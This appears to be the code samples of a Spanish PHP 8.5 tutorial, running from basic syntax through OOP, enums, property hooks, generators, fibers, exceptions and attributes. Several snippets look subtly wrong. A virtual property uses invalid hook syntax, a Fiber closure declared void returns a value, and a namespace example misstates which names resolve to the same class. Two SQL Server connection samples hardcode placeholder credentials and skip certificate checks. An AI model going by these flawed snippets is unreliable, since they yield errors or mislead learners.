PHP 8.5 desde cero hasta experto

<?php
// ¿En qué modo me estoy ejecutando?
echo php_sapi_name(), PHP_EOL;

<?php
// hola.php — mi primer programa
declare(strict_types=1);

$nombre = 'Percy';
echo "Hola, {$nombre}. Bienvenido a PHP " . PHP_VERSION . PHP_EOL;

<?php
// prueba_sqlserver.php
declare(strict_types=1);

$dsn = 'sqlsrv:Server=localhost\SQLEXPRESS;'
     . 'Database=TutorialPHP;'
     . 'Driver={ODBC Driver 18 for SQL Server};'
     . 'TrustServerCertificate=1';  // imprescindible con Driver 18 en local

$opciones = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];

try {
    $pdo = new PDO($dsn, 'sa', 'TuClaveSegura2026#', $opciones);
    $version = $pdo->query('SELECT @@VERSION')->fetchColumn();
    echo substr((string) $version, 0, 60), PHP_EOL;
} catch (PDOException $e) {
    echo 'Fallo de conexion: ', $e->getMessage(), PHP_EOL;
}

<?php
// conexion_remota.php
declare(strict_types=1);

$opciones = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];

// Servidor remoto por IP y puerto (misma sintaxis para Docker):
$dsn = 'sqlsrv:Server=192.168.1.50,1433;'
     . 'Database=TutorialPHP;'
     . 'Driver={ODBC Driver 18 for SQL Server};'
     . 'TrustServerCertificate=1';      // red de desarrollo, sin CA propia

$pdo = new PDO($dsn, 'usuario_app', 'ClaveApp2026#', $opciones);
echo $pdo->query('SELECT DB_NAME()')->fetchColumn(), PHP_EOL;

<?php
// Todo lo que este archivo contiene es codigo: SIN cierre ?>

// El cierre ?> solo se usa en archivos que MEZCLAN PHP con HTML:
// <p>Hola <?= $nombre ?></p>   (atajo de echo con = )

<?php
declare(strict_types=1);

$edad = 34;            // int
$precio = 19.90;       // float
$nombre = 'Percy';     // string
$activo = true;        // bool

var_dump($edad, $precio);
echo gettype($nombre), PHP_EOL;

<?php
declare(strict_types=1);

const IVA = 0.18;                       // tiempo de compilacion: preferida
define('VERSION_API', 'v1');           // util si depende de algo en runtime

echo IVA, ' ', VERSION_API, PHP_EOL;
echo 'Estoy en la linea ', __LINE__, ' de ', basename(__FILE__), PHP_EOL;
echo MiClase::class, PHP_EOL;          // nombre de clase como texto

class MiClase {}

<?php
declare(strict_types=1);

$carrito = ['cafe' => 2, 'te' => 1];

echo "Interpolacion: {$carrito['cafe']} cafes\n";  // dobles interpolan
print 'print es casi igual que echo' . PHP_EOL;    // concatenacion con .
printf("Total: %.2f\n", 18.5);                     // formato tipo C

var_dump($carrito);   // depuracion: tipos Y valores exactos
print_r($carrito);    // lectura rapida para humanos

<?php
$sql = <<<SQL
SELECT id, cliente
FROM pedidos
WHERE estado = 'PENDIENTE'
SQL;                     // heredoc: interpola variables

$plantilla = <<<'TXT'
Hola {$nombre}          // nowdoc: texto literal, NO interpola
TXT;

<?php
declare(strict_types=1);

echo 7 + 2, ' ', 7 % 3, ' ', 7 ** 2, PHP_EOL;
echo intdiv(7, 2), PHP_EOL;   // division entera explicita: 3
echo 7 / 2, PHP_EOL;          // division real: 3.5

<?php
$total = 100;
$total += 50;   // 150
$total **= 2;   // 40000

$csv = 'id,nombre';
$csv .= ',telefono';    // concatenar y asignar

$pagina = null;
$pagina ??= 1;          // solo asigna si era null

<?php
declare(strict_types=1);

var_dump('10' == 10, '10' === '10', '' == null);
// Regla del curso: === y !== por defecto.
// == SOLO cuando la comparacion laxa es intencional (p. ej. entrada de formularios).

<?php
declare(strict_types=1);

$productos = [
    ['nombre' => 'Teclado', 'precio' => 120],
    ['nombre' => 'Cable',   'precio' => 15],
    ['nombre' => 'Monitor', 'precio' => 480],
];

usort($productos, fn(array $a, array $b): int => $a['precio'] <=> $b['precio']);

foreach ($productos as $p) {
    echo $p['nombre'], ': ', $p['precio'], PHP_EOL;
}

<?php
$sesionIniciada = false;

// TRAMPA: "or" tiene precedencia MENOR que "="
$modoDebug = false or true;    // $modoDebug vale false!

// Correcto:
$modoDebug = false || true;    // true

<?php
$_GET['orden'] = '';

$a = $_GET['orden'] ?? 'asc';   // ?? : '' EXISTE, lo respeta -> ''
$b = $_GET['orden'] ?: 'asc';   // ?: : '' es falsy, lo reemplaza -> 'asc'

echo $a, ' / ', $b, PHP_EOL;

<?php
declare(strict_types=1);

$stock = 0;

if ($stock > 10) {
    echo 'Disponible';
} elseif ($stock > 0) {
    echo 'Ultimas unidades';
} else {
    echo 'Agotado';
}

// Sintaxis alternativa: ideal dentro de plantillas HTML
?>
<?php if ($stock === 0): ?>
  <p class="text-danger">Sin stock</p>
<?php endif; ?>

<?php
declare(strict_types=1);

// Escala peruana de notas (0 a 20)
$nota = 16;

$mensaje = match (true) {
    $nota >= 18 => 'Sobresaliente',
    $nota >= 11 => 'Aprobado',
    $nota >= 0  => 'Desaprobado',
    default     => 'Nota invalida',
};

echo $mensaje, PHP_EOL;

// match tambien compara valores directos, con varias condiciones por brazo:
$tipoComida = 'ceviche';
$categoria  = match ($tipoComida) {
    'ceviche', 'tiradito' => 'marino',
    'aji de gallina'      => 'criollo',
    default               => 'otro',
};
echo $categoria, PHP_EOL;

<?php
declare(strict_types=1);

$medioPago = 'yape';

switch ($medioPago) {
    case 'efectivo':
        $comision = 0;
        break;
    case 'tarjeta':
        $comision = 0.035;
        break;
    case 'yape':
    case 'plin':                    // casos apilados: comparten el bloque
        $comision = 0.0085;
        break;
    default:
        throw new InvalidArgumentException('Medio no soportado');
}

echo 'Comision: ', $comision * 100, '%', PHP_EOL;

<?php
 declare(strict_types=1);

$edad = 15;

// switch(true): cada case ES una condicion booleana
$categoriaSwitch = '';
switch (true) {
    case $edad >= 18:
        $categoriaSwitch = 'adulto';
        break;
    case $edad >= 12:
        $categoriaSwitch = 'adolescente';
        break;
    default:
        $categoriaSwitch = 'nino';
}

// match(true): misma idea, sin breaks y con retorno directo
$categoriaMatch = match (true) {
    $edad >= 18 => 'adulto',
    $edad >= 12 => 'adolescente',
    default     => 'nino',
};

echo "$categoriaSwitch / $categoriaMatch", PHP_EOL;

<?php
declare(strict_types=1);

// while: repite MIENTRAS la condicion sea verdadera (puede no ejecutarse)
$i = 1;
while ($i <= 3) {
    echo $i++;
}
echo PHP_EOL;

// do-while: ejecuta AL MENOS una vez
do {
    $tecla = random_int(1, 6);
} while ($tecla !== 6);
echo "Sali con un $tecla", PHP_EOL;

// for: cuando conoces la cantidad de iteraciones
for ($j = 0; $j < 3; $j++) {
    echo "vuelta $j ";
}
echo PHP_EOL;

// foreach: LA forma de recorrer arrays
$precios = ['cafe' => 12.5, 'te' => 8.0];
foreach ($precios as $producto => $precio) {
    echo "$producto cuesta $precio\n";
}

<?php
declare(strict_types=1);

foreach ([1, 5, 9] as $fila) {
    foreach ([2, 4, 6] as $col) {
        if ($col === 4) {
            continue;         // salta SOLO esta vuelta interna
        }
        if ($fila * $col > 30) {
            break 2;          // sale de AMBOS bucles
        }
        echo $fila * $col, ' ';
    }
}
echo PHP_EOL;

<?php
declare(strict_types=1);

$indexado    = ['a', 'b', 'c'];                 // claves 0,1,2 automaticas
$asociativo   = ['nombre' => 'Percy', 'rol' => 'backend'];
$multidimen   = ['pedidos' => [['id' => 1], ['id' => 2]]];

// Reglas de clave que conviene memorizar:
$trampas = [
    '5'     => 'x',    // clave int 5 (cadena numerica pura se convierte)
    true    => 'y',    // clave int 1
    '08'    => 'z',    // sigue siendo string: NO es numerica pura
];
var_dump(array_keys($trampas));

<?php
declare(strict_types=1);

$config = ['debug' => false];

$config['idioma'] = 'es';                    // agregar / sobrescribir

// isset vs ?? : isset devuelve false si el valor ES null
var_dump(isset($config['debug']), $config['timeout'] ?? 30);

// Busquedas: SIEMPRE con tercer argumento estricto
$roles = ['admin', 'editor'];
var_dump(in_array('Admin', $roles), in_array('Admin', $roles, true));
var_dump(array_search('editor', $roles, true));

<?php
declare(strict_types=1);

$ventas = [
    ['producto' => 'Teclado', 'monto' => 120.0],
    ['producto' => 'Cable',   'monto' => 15.5],
    ['producto' => 'Monitor', 'monto' => 480.0],
];

$nombres = array_map(fn(array $v): string => $v['producto'], $ventas);
print_r($nombres);

$mayores = array_filter($ventas, fn(array $v): bool => $v['monto'] >= 100);
echo count($mayores), " ventas grandes\n";

$total = array_reduce(
    $ventas,
    fn(float $acum, array $v): float => $acum + $v['monto'],
    0.0
);
printf("Total: %.2f\n", $total);

<?php
declare(strict_types=1);

$eventos = [];          // puede llegar vacio de la base de datos

// Antes de 8.5:
$ultimoViejo = $eventos === [] ? null : $eventos[array_key_last($eventos)];

// Desde 8.5:
$primero = array_first($eventos) ?? 'sin eventos';
$ultimo  = array_last($eventos)  ?? 'sin eventos';

echo $primero, ' | ', $ultimo, PHP_EOL;

<?php
declare(strict_types=1);

$productos = [
    ['nombre' => 'Monitor', 'stock' => 4],
    ['nombre' => 'Cable',   'stock' => 40],
    ['nombre' => 'Teclado', 'stock' => 12],
];

usort($productos, fn(array $a, array $b): int => $b['stock'] <=> $a['stock']);
echo array_first($productos)['nombre'], PHP_EOL;   // el mas stockeado

<?php
declare(strict_types=1);

$a = [1, 2, 3];
$b = [3, 4];

var_dump([...$a, ...$b]);                  // spread: union manual
print_r(array_merge(['x' => 1], ['x' => 9]));  // claves texto: gana el ultimo
print_r(array_unique([1, 2, 2, 3]));
[$id, $ciudad] = explode('-', 'LIM-47');   // destructuring
echo "$id / $ciudad\n";
print_r(array_column($ventas = [
    ['id' => 7, 'pais' => 'PE'],
    ['id' => 9, 'pais' => 'CL'],
], 'pais', 'id'));

<?php
declare(strict_types=1);

$frase = 'Ñandú saltó';

echo strlen($frase), ' bytes vs ', mb_strlen($frase), ' caracteres', PHP_EOL;
echo mb_strtoupper('acción'), ' ', mb_strtolower('PERÚ'), PHP_EOL;
echo mb_substr($frase, 0, 5), PHP_EOL;

<?php
declare(strict_types=1);

$codigo = str_pad((string) 42, 5, '0', STR_PAD_LEFT);
echo $codigo, ' | ', number_format(1234567.891, 2, ',', ' '), PHP_EOL;

$lista   = ['php', 'sql', 'odbc'];
$csv     = implode(', ', $lista);
$partes  = explode(',', 'LIM,ARE,CUZ');
echo $csv, ' / ', count($partes), ' regiones', PHP_EOL;

<?php
declare(strict_types=1);

// preg_match devuelve 1 si coincide, 0 si no, false ante error
$correo = 'percy@midominio.pe';
if (preg_match('/^[\w.+-]+@[\w-]+\.[\w.-]+$/u', $correo) === 1) {
    echo "Correo valido\n";
}

// Grupos con nombre: legibles y auto-documentados
preg_match('/^(?P<usuario>[\w.+-]+)@(?P<dominio>[\w.-]+)$/', $correo, $m);
echo $m['usuario'], ' en ', $m['dominio'], PHP_EOL;

// Todas las coincidencias
preg_match_all('/\d+/', 'pedidos 12, 47 y 103', $todos);
print_r($todos[0]);

// Reemplazo con callback
$seguro = preg_replace_callback(
    '/\d+/',
    fn(array $x): string => (string) ((int) $x[0] * 2),
    'mesas 4, sillas 8'
);
echo $seguro, PHP_EOL;

<?php
declare(strict_types=1);

function slug(string $titulo): string
{
    $t = mb_strtolower(trim($titulo), 'UTF-8');
    $t = str_replace(['á','é','í','ó','ú','ñ'], ['a','e','i','o','u','n'], $t);
    $t = preg_replace('/[^a-z0-9]+/', '-', $t);
    return trim((string) $t, '-');
}

$titulos = ['Café "Special", Ñandú!', '  API REST v2  '];
foreach ($titulos as $t) {
    echo slug($t), PHP_EOL;
}

<?php
declare(strict_types=1);

function calcularIva(float $monto, float $tasa = 0.18): float
{
    return round($monto * $tasa, 2);
}

echo calcularIva(100.0), ' / ', calcularIva(100.0, 0.10), PHP_EOL;

// Regla: los parametros con valor por defecto van SIEMPRE al final.

<?php
declare(strict_types=1);

// Llamadas auto-documentadas; se pueden saltar opcionales intermedios:
function enviar(string $destino, string $asunto = '(sin asunto)',
                bool $urgente = false, int $reintentos = 3): string
{
    return "$destino | $asunto | urgente=$urgente reintentos=$reintentos";
}

echo enviar(destino: 'ops@empresa.pe', urgente: true), PHP_EOL;

<?php
declare(strict_types=1);

function total(float ...$montos): float
{
    return array_sum($montos);
}

$partes = [40.0, 60.0];
echo total(10, 20, ...$partes), PHP_EOL;   // mezcla directa + spread

<?php
declare(strict_types=1);

$factor = 3;

// fn() captura AUTOMATICAMENTE la variable exterior (por valor):
$duplicar = fn(int $n): int => $n * $factor;

// closure clasica: captura EXPLICITO con use(), permite por referencia:
$contador = 0;
$incrementar = function () use (&$contador): void {
    $contador++;
};
$incrementar();
$incrementar();

echo $duplicar(5), ' / ', $contador, PHP_EOL;

<?php
declare(strict_types=1);

$limpiar = trim(...);              // referencia a funcion SIN ejecutarla
$mayuscula = strtoupper(...);

echo $limpiar('  hola '), ' ', $mayuscula('mundo'), PHP_EOL;

// Es la base del nuevo operador pipe de PHP 8.5 (capitulo 23):
$paso = '  Texto  ' |> $limpiar |> $mayuscula;
echo $paso, PHP_EOL;

<?php
declare(strict_types=1);

function factorial(int $n): int
{
    return $n <= 1 ? 1 : $n * factorial($n - 1);
}
echo factorial(5), PHP_EOL;

// IIFE: configuracion calculada sin ensuciar el ambito global
$config = (function (): array {
    $entorno = getenv('APP_ENV') ?: 'dev';
    return ['debug' => $entorno !== 'prod', 'entorno' => $entorno];
})();
print_r($config);

<?php
declare(strict_types=1);

function duplicar(int $n): int { return $n * 2; }

echo duplicar(5), PHP_EOL;          // 10: tipo exacto

try {
    duplicar('5');                  // sin strict convertiría en silencio
} catch (TypeError $e) {
    echo 'Bloqueado: ', get_debug_type($e), PHP_EOL;
}

<?php
declare(strict_types=1);

function buscarUsuario(int|string $clave): array|null   // ?array equivale
{
    if ($clave === 0) {
        return null;
    }
    return ['id' => $clave, 'nombre' => 'Percy'];
}

$u = buscarUsuario('percy');
echo get_debug_type($u), PHP_EOL;         // depuracion moderna (7.2+)
var_dump($u['nombre'] ?? 'anonimo');

<?php
declare(strict_types=1);

// El argumento DEBE implementar AMBAS interfaces:
function volcar(Countable&IteratorAggregate $fuente): int
{
    return count($fuente);
}

// Si pasas algo que solo implementa una de ellas: TypeError inmediato.

<?php
declare(strict_types=1);

// Disyuncion Normal: (A&B) | C | null — combinacion fina sin clases nuevas
function procesar(Countable&Stringable|string|null $entrada): string
{
    return match (true) {
        $entrada === null       => 'nada que procesar',
        is_string($entrada)     => mb_strtoupper($entrada),
        default                 => (string) $entrada,
    };
}

// Tipos puros para contratos exactos:
interface Validador
{
    public function validar(mixed $valor): bool;
}
function fallaSiempre(): false { return false; }

<?php
declare(strict_types=1);

function abortar(int $codigo): never
{
    http_response_code($codigo);
    exit("Error $codigo");
}

// PHP y las herramientas estaticas SABEN que nada corre despues de abortar():

<?php
// src/Servicios/Facturador.php
declare(strict_types=1);

namespace App\Servicios;

class Facturador
{
    public function emitir(string $cliente): string
    {
        return "Comprobante para $cliente";
    }
}

<?php
// public/index.php
declare(strict_types=1);

use App\Servicios\Facturador;
use App\Servicios\Impuestos as Fiscal;   // alias para desempatar

$fac = new Facturador();
echo $fac->emitir('Minimarket El Sol'), PHP_EOL;

<?php
declare(strict_types=1);

namespace App\Servicios;

// Tres formas correctas y una trampa, referidas a la MISMA clase:

$a = Facturador::class;                  // relativa simple
$b = Sub\Facturador::class;              // relativa compuesta
$c = \App\Servicios\Facturador::class;   // ABSOLUTA (barra inicial)
$d = Servicios\Facturador::class;        // ¿relativa? ¡mira la salida!

echo __NAMESPACE__, PHP_EOL;             // App\Servicios

foreach ([$a, $b, $c, $d] as $nombre) {
    echo $nombre, PHP_EOL;
}

<?php

// Grupo (7.0+): importa varias del mismo prefijo
use App\{Modelos\Pedido, Modelos\Cliente, Servicios\Facturador};

// Funciones y constantes tambien tienen namespaces:
use function App\Ayudas\nombre_largo;
use const App\Ayudas\VERSION_API;

<?php
declare(strict_types=1);

spl_autoload_register(function (string $clase): void {
    // App\Servicios\Facturador -> src/Servicios/Facturador.php
    $ruta = __DIR__ . '/src/' . str_replace('\\', '/', $clase) . '.php';
    if (is_file($ruta)) {
        require $ruta;
    }
});

new App\Modelos\Pedido();     // PHP llama al autoloader SOLO si hace falta

<?php
declare(strict_types=1);

class Pedido
{
    public function __construct(
        public readonly int $id,
        public string $cliente,
        private float $total = 0.0,          // privado + valor por defecto
    ) {
    }

    public function total(): float           // getter explicito para lo privado
    {
        return $this->total;
    }
}

$p = new Pedido(1, 'Minimarket El Sol', 149.90);
echo $p->cliente, ' debe ', $p->total(), PHP_EOL;

<?php
declare(strict_types=1);

class Config
{
    public const int LIMITE_PEDIDOS = 50;     // constante tipada (8.3)
    private static int $conexiones = 0;

    public static function abrir(): void
    {
        self::$conexiones++;
    }

    public static function conexiones(): int
    {
        return self::$conexiones;
    }
}

Config::abrir();
Config::abrir();
echo Config::LIMITE_PEDIDOS, ' / ', Config::conexiones(), PHP_EOL;

<?php
$a = new Pedido(1, 'Ana');
$b = new Pedido(1, 'Ana');
$c = $a;

var_dump($a == $b);    // true  : mismos valores comparables
var_dump($a === $b);   // false : instancias distintas
var_dump($a === $c);   // true  : misma instancia
var_dump($a instanceof Pedido);

<?php
declare(strict_types=1);

class Documento
{
    public function __construct(
        protected string $emisor,
        protected float $monto,
    ) {
    }

    public function resumen(): string
    {
        return sprintf('%s emitio S/ %.2f', $this->emisor, $this->monto);
    }
}

class Boleta extends Documento
{
    public function resumen(): string          // sobrescritura
    {
        return 'BOLETA - ' . parent::resumen();   // reutiliza al padre
    }
}

echo (new Boleta('El Sol', 88.50))->resumen(), PHP_EOL;

<?php
declare(strict_types=1);

interface Exportable
{
    public const FORMATO_DEFECTO = 'pdf';     // solo constantes y firmas

    public function exportar(): string;
}

interface Imprimible
{
    public function imprimir(): void;
}

// Una clase puede cumplir varios contratos:
class Factura implements Exportable, Imprimible
{
    public function exportar(): string
    {
        return 'factura.' . self::FORMATO_DEFECTO;
    }

    public function imprimir(): void
    {
        echo 'Enviando a la impresora...', PHP_EOL;
    }
}

function despachar(Exportable $doc): void    // polimorfismo por tipo
{
    echo 'Guardando ', $doc->exportar(), PHP_EOL;
}

despachar(new Factura());

<?php
declare(strict_types=1);

abstract class Reporte
{
    public function __construct(protected string $titulo)
    {
    }

    abstract public function cuerpo(): string;      // obligatorio en hijas

    public function render(): string                // compartido ya hecho
    {
        return "=== {$this->titulo} ===\n{$this->cuerpo()}";
    }
}

final class ReporteVentas extends Reporte       // final: no se puede heredar mas
{
    public function cuerpo(): string
    {
        return 'Ventas del dia: S/ 1 240.00';
    }
}

echo (new ReporteVentas('Cierre'))->render(), PHP_EOL;

<?php
declare(strict_types=1);

class FacturaConIgv extends Factura
{
    #[\Override]                       // error fatal si arriba NO existia este metodo
    public function exportar(): string
    {
        return 'factura_igv.pdf';
    }
}

<?php
declare(strict_types=1);

trait Registrable
{
    private array $bitacora = [];

    protected function registrar(string $evento): void
    {
        $this->bitacora[] = date('H:i:s ') . $evento;
    }

    public function bitacora(): array
    {
        return $this->bitacora;
    }
}

class Pago
{
    use Registrable;

    public function procesar(float $monto): void
    {
        $this->registrar("Pago de $monto procesado");
    }
}

$pago = new Pago();
$pago->procesar(59.90);
print_r($pago->bitacora());

<?php

class Caja
{
    use TraitA, TraitB {
        TraitA::saludar insteadof TraitB;   // gana TraitA
        TraitB::saludar as saludoAlterno;   // el de B sobrevive con otro nombre
    }
}

<?php
declare(strict_types=1);

enum EstadoPedido: string          // backed enum: cada caso respalda un string
{
    case PENDIENTE     = 'P';
    case EN_PREPARACION = 'R';
    case EN_CAMINO     = 'C';
    case ENTREGADO     = 'E';
    case CANCELADO     = 'X';

    public function esFinal(): bool
    {
        return in_array($this, [self::ENTREGADO, self::CANCELADO], true);
    }
}

$estado = EstadoPedido::EN_CAMINO;
echo $estado->value, ' final=', $estado->esFinal() ? 'si' : 'no', PHP_EOL;

// Desde datos externos (base de datos): tryFrom devuelve null, from lanza:
$deBD = EstadoPedido::tryFrom('P');
var_dump($deBD === EstadoPedido::PENDIENTE);

// Recorrido completo:
foreach (EstadoPedido::cases() as $caso) {
    echo $caso->name, ' ', PHP_EOL;
}

<?php
declare(strict_types=1);

function siguiente(EstadoPedido $actual): ?EstadoPedido
{
    return match ($actual) {
        EstadoPedido::PENDIENTE      => EstadoPedido::EN_PREPARACION,
        EstadoPedido::EN_PREPARACION => EstadoPedido::EN_CAMINO,
        EstadoPedido::EN_CAMINO      => EstadoPedido::ENTREGADO,
        default                      => null,   // los finales ya no avanzan
    };
}

echo siguiente(EstadoPedido::PENDIENTE)?->name, PHP_EOL;

<?php
declare(strict_types=1);

class Comprobante
{
    public function __construct(
        public readonly string $serie,
        public readonly int $numero,
    ) {
    }
}

$c = new Comprobante('F001', 42);
echo $c->serie . '-' . $c->numero, PHP_EOL;

// $c->serie = 'F002';   // Error: no se puede modificar fuera del alcance interno

<?php
declare(strict_types=1);

class Sesion
{
    public function __construct(
        public private(set) string $token,   // leo de donde sea, escribo SOLO aqui
    ) {
    }

    public function rotar(): void
    {
        $this->token = bin2hex(random_bytes(8));   // permitido: mismo scope
    }
}

$s = new Sesion(bin2hex(random_bytes(8)));
echo substr($s->token, 0, 6), '...', PHP_EOL;

<?php
declare(strict_types=1);

class Producto
{
    public string $nombre {
        set (string $valor) {
            $this->nombre = ucfirst(trim($valor));   // normaliza al entrar
        }
    }

    // Propiedad VIRTUAL: no existe campo; se calcula al vuelo:
    public string $etiqueta => strtoupper($this->nombre);   // hook get abreviado

    public function __construct(string $nombre)
    {
        $this->nombre = $nombre;
    }
}

$p = new Producto('  cafe especial  ');
echo $p->nombre, ' | ', $p->etiqueta, PHP_EOL;

<?php
declare(strict_types=1);

class Dinero
{
    public function __construct(
        private float $monto,
        private string $moneda = 'PEN',
    ) {
    }

    public function __toString(): string           // echo / concatenacion
    {
        return sprintf('%s %.2f', $this->moneda, $this->monto);
    }

    public function __invoke(float $descuento): self   // objeto como funcion
    {
        return new self($this->monto * (1 - $descuento), $this->moneda);
    }

    public function monto(): float { return $this->monto; }
}

$precio = new Dinero(199.90);
echo $precio, PHP_EOL;
$conDescuento = $precio(0.10);                 // __invoke con 10% off
echo $conDescuento, PHP_EOL;

<?php
declare(strict_types=1);

class ConfiguracionFlexible implements ArrayAccess
{
    private array $datos = [];

    public function __get(string $nombre): mixed
    {
        return $this->datos[$nombre] ?? null;
    }

    public function __set(string $nombre, mixed $valor): void
    {
        $this->datos[$nombre] = $valor;
    }

    public function __call(string $metodo, array $args): mixed
    {
        // metodoInexistente() delegado a un handler central
        return "[$metodo] no implementado, argumentos: " . count($args);
    }

    // ArrayAccess (interfaz real, no magia) para $cfg['clave']:
    public function offsetGet(mixed $k): mixed { return $this->__get($k); }
    public function offsetSet(mixed $k, mixed $v): void { $this->__set($k, $v); }
    public function offsetExists(mixed $k): bool { return isset($this->datos[$k]); }
    public function offsetUnset(mixed $k): void { unset($this->datos[$k]); }
}

$cfg = new ConfiguracionFlexible();
$cfg->tema = 'oscuro';                    // dispara __set
echo $cfg->tema, ' / ', $cfg['tema'], PHP_EOL;
echo $cfg->algoQueNoExiste('x'), PHP_EOL;

<?php
declare(strict_types=1);

class RegistroConFecha
{
    public function __clone()
    {
        // ajustes al clonar: p. ej. regenerar identificadores
    }

    public function __serialize(): array     // reemplaza a __sleep (DEPRECIADO en 8.5)
    {
        return ['guardado' => true];
    }

    public function __unserialize(array $data): void
    {
    }
}

<?php
declare(strict_types=1);

interface Notificador { public function enviar(string $msg): void; }

function difundir(Notificador $n): void { $n->enviar('Cierre diario listo'); }

difundir(new class implements Notificador {     // new class sin nombre
    public function enviar(string $msg): void
    {
        echo '[consola] ', $msg, PHP_EOL;
    }
});

<?php
declare(strict_types=1);

function cuadrados(int $hasta): Generator
{
    for ($i = 1; $i <= $hasta; $i++) {
        yield $i => $i * $i;         // clave => valor, como un foreach
    }
}

foreach (cuadrados(4) as $n => $cuadrado) {
    echo "$n al cuadrado = $cuadrado\n";
}

<?php
declare(strict_types=1);

function lineas(string $ruta): Generator
{
    $fh = fopen($ruta, 'rb');
    try {
        while (($linea = fgets($fh)) !== false) {
            yield trim($linea);       // UNA linea en memoria a la vez
        }
    } finally {
        fclose($fh);
    }
}

// Con un log de 10 GB esto NO consume 10 GB de RAM:
$errores = 0;
foreach (lineas('/var/log/app.log') as $linea) {
    if (str_contains($linea, 'ERROR')) {
        $errores++;
    }
}
echo "Errores encontrados: $errores\n";

<?php
declare(strict_types=1);

function internos(): Generator
{
    yield 'a';
    yield 'b';
    return 2;                       // valor de retorno del generador
}

function compuesto(): Generator
{
    $total = yield from internos(); // delega y captura el return
    yield "procesados: $total";
}

foreach (compuesto() as $pieza) {
    echo $pieza, PHP_EOL;
}

<?php
declare(strict_types=1);

class Carrito implements IteratorAggregate
{
    /** @param string[] $items */
    public function __construct(private array $items = [])
    {
    }

    public function agregar(string $item): void
    {
        $this->items[] = $item;
    }

    public function getIterator(): Generator
    {
        yield from $this->items;
    }
}

$carrito = new Carrito(['cafe', 'azucar']);
$carrito->agregar('leche');
foreach ($carrito as $item) {
    echo "- $item\n";
}
var_dump(is_iterable($carrito));

<?php
declare(strict_types=1);

$tarea = new Fiber(function (): void {
    echo 'Tarea: inicio', PHP_EOL;
    $datoRecibido = Fiber::suspend('pausada en el paso 1');
    // El flujo VUELVE aqui cuando alguien llame a ->resume():
    echo 'Tarea: reanudada con "', $datoRecibido, '"', PHP_EOL;
});

$mensajeDePausa = $tarea->start();      // ejecuta hasta el suspend()
echo 'Principal recibe: ', $mensajeDePausa, PHP_EOL;

$tarea->resume('datos del exterior');   // inyecta valor y continúa
var_dump($tarea->isTerminated());

<?php
declare(strict_types=1);

function trabajador(string $nombre, int $pasos): Fiber
{
    return new Fiber(function () use ($nombre, $pasos): void {
        for ($i = 1; $i <= $pasos; $i++) {
            Fiber::suspend("$nombre paso $i");
        }
        return "$nombre termino";
    });
}

$cola = [trabajador('A', 2), trabajador('B', 3)];

while ($cola) {
    foreach ($cola as $indice => $fiber) {
        $salida = $fiber->isStarted() ? $fiber->resume() : $fiber->start();
        if ($salida !== null) {
            echo $salida, PHP_EOL;
        }
        if ($fiber->isTerminated()) {
            unset($cola[$indice]);
        }
    }
}

Throwable (interface, no instanciable)
├── Error                        ← motor / errores de programación
│   ├── TypeError                argumento o retorno de tipo incorrecto
│   ├── ValueError               tipo correcto, valor invalido (8.0+)
│   ├── DivisionByZeroError
│   ├── ArithmeticError
│   └── AssertionError           de assert() en modo activo
└── Exception                    ← condiciones manejables de la app
    ├── RuntimeException         solo falla EN EJECUCION (BD caida, archivo...)
    │   └── OutOfBoundsException
    ├── LogicException           bug logico detectable antes
    │   ├── InvalidArgumentException
    │   └── DomainException
    └── PDOException             capa base de datos

<?php
declare(strict_types=1);

function retirar(float $saldo, float $monto): float
{
    if ($monto <= 0) {
        throw new InvalidArgumentException('Monto debe ser positivo');
    }
    if ($monto > $saldo) {
        throw new RuntimeException('Saldo insuficiente');
    }
    return $saldo - $monto;
}

try {
    echo retirar(100.0, 250.0), PHP_EOL;
} catch (InvalidArgumentException | RuntimeException $e) {   // multiple, sin variable extra si no la usas
    echo 'Rechazado: ', $e->getMessage(), PHP_EOL;
} finally {
    echo 'Auditoria registrada (siempre corre)', PHP_EOL;   // incluso con return o nueva excepcion
}

<?php
declare(strict_types=1);

namespace Tienda;

class StockAgotadoException extends \RuntimeException
{
    public function __construct(
        private readonly string $sku,
    ) {
        parent::__construct("Sin stock para SKU $sku");
    }

    public function sku(): string { return $this->sku; }
}

function reservar(string $sku, int $unidades): void
{
    // ... consulta al almacen ...
    throw new StockAgotadoException('CAF-1KG');
}

try {
    reservar('CAF-1KG', 2);
} catch (StockAgotadoException $e) {
    // tipo especifico => manejo especifico, sin parsear mensajes:
    echo 'Ofrecer similar por ', $e->sku(), PHP_EOL;
}

// Encadenar causas: el contexto original nunca se pierde
try {
    try {
        throw new \PDOException('Conexion rechazada');
    } catch (\PDOException $origen) {
        throw new RuntimeException('Servicio no disponible', 503, $origen);
    }
} catch (RuntimeException $e) {
    echo $e->getMessage(), ' <- causa: ', $e->getPrevious()?->getMessage(), PHP_EOL;
}

<?php
declare(strict_types=1);

try {
    intdiv(10, 0);                       // antes: warning + resultado raro
} catch (DivisionByZeroError $e) {
    echo 'Motor dice: ', $e->getMessage(), PHP_EOL;
}

try {
    strlen(42);                          // strict_types: TypeError, no coerción
} catch (TypeError $e) {
    echo substr($e->getMessage(), 0, 40), '...', PHP_EOL;
}

<?php
declare(strict_types=1);

namespace App\Http;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_CLASS)]
class Ruta
{
    public function __construct(
        public readonly string $metodo,
        public readonly string $camino,
    ) {
    }
}

class ControladorPedidos
{
    #[Ruta('GET', '/pedidos')]
    public function listar(): string { return 'lista de pedidos'; }

    #[Ruta('POST', '/pedidos')]
    public function crear(): string { return 'pedido creado'; }
}

<?php
declare(strict_types=1);

// (continua el namespace App\Http del bloque anterior)
$ref = new \ReflectionClass(ControladorPedidos::class);

$rutas = [];
foreach ($ref->getMethods() as $metodo) {
    $atributos = $metodo->getAttributes(Ruta::class);
    foreach ($atributos as $attr) {
        $ruta = $attr->newInstance();            // construye el objeto Ruta real
        $rutas[$ruta->metodo . ' ' . $ruta->camino] = $metodo->getName();
    }
}

print_r($rutas);

<?php
declare(strict_types=1);

function despachar(array $tabla, string $metodoHttp, string $camino): void
{
    $clave = "$metodoHttp $camino";
    if (!isset($tabla[$clave])) {
        http_response_code(404);
        echo '404 no encontrado', PHP_EOL;
        return;
    }
    $controlador = new ControladorPedidos();
    echo $controlador->{$tabla[$clave]}(), PHP_EOL;
}

despachar($rutas, 'GET', '/pedidos');       // tabla generada por reflexion arriba

<?php
declare(strict_types=1);

$iva = 0.18;

$conIva = fn (float $precio): float => $precio * (1 + $iva);   // captura automatica por VALOR

$iva = 0.20;
